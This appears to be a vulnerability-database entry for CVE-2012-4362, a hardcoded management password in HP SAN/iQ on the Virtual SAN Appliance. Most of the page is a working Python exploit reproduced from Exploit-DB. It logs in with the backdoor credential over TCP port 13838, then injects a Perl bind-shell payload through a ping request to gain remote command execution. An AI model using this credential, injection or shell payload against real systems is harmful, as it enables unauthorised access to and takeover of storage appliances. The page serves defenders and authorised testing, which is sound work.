CVE-2012-4362

medium

Published 2012-08-20 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

5.0

Description

hydra.exe in HP SAN/iQ before 9.5 on the HP Virtual SAN Appliance has a hardcoded password of L0CAlu53R for the global$agent account, which allows remote attackers to obtain access to a management service via a login: request to TCP port 13838.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-18901 remote hardware verified

Metasploit · 2012-05-21

HP StorageWorks P4000 - Virtual SAN Appliance Command Execution (Metasploit)

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EDB-18893 remote hardware verified python · 2 KB

Nicolas Gregoire · 2012-02-17

HP VSA - Remote Command Execution

python exploit Source: Exploit-DB

#!/usr/bin/python

''' ==================================
          Pseudo documentation 
================================== '''

# HP VSA / SANiQ Hydra client
# Nicolas Grégoire <nicolas.gregoire@agarri.fr>
# v0.5

''' ==================================
          Target information
================================== '''

HOST = '192.168.201.11'	# The remote host
PORT = 13838		# The hydra port

''' ==================================
             Imports 
================================== '''

import getopt
import re
import sys
import binascii
import struct
import socket
import os

''' ==================================
        Define functions
================================== '''

# Some nice formatting
def zprint(str):
	print '[=] ' + str

# Define packets
def send_Exec():
	zprint('Send Exec')
	
	# RESTRICTIONS
	# You can't use "/" in the payload
	# No Netcat/Ruby/PHP, but telnet/bash/perl are available

	# METASPLOIT PAYLOAD
	cmd = "perl -MIO -e '$p=fork();exit,if$p;$c=new IO::Socket::INET(LocalPort,12345,Reuse,1,Listen)->accept;$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>'"

	# COMMAND INJECTION BUG
	data = 'get:/lhn/public/network/ping/127.0.0.1/foobar;' + cmd + '/'

	# EXPLOIT
	zprint('Now connect to port 12345 of machine ' + str(HOST))
	send_packet(data)

def send_Login():
	zprint('Send Login')
	data = 'login:/global$agent/L0CAlu53R/Version "8.5.0"' # Backdoor
	send_packet(data)

# Define the sending function
def send_packet(message):

	# Add header
	ukn1 = '\x00\x00\x00\x00\x00\x00\x00\x01'
	ukn2 = '\x00\x00\x00\x00' + '\x00\x00\x00\x00\x00\x00\x00\x00' + '\x00\x00\x00\x14\xff\xff\xff\xff'
	message = message + '\x00'
	data = ukn1 + struct.pack('!I', len(message)) + ukn2 + message

	# Send & receive
	s.send(data)
	data = s.recv(1024)
	zprint('Received : [' + data + ']')

''' ==================================
           Main code
================================== '''

# Print bannner
zprint('HP Hydra client')
zprint('Attacking host ' + HOST + ' on port ' + str(PORT))

# Connect
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(30)
s.connect((HOST, PORT))

# Attack !
send_Login()
send_Exec()

# Deconnect
s.close

# Exit
zprint('Exit')

Application impact

Vendor	Product	Versions	Fixed
hp	san\/iq	`9.5`

References

CWEs

CWE-255

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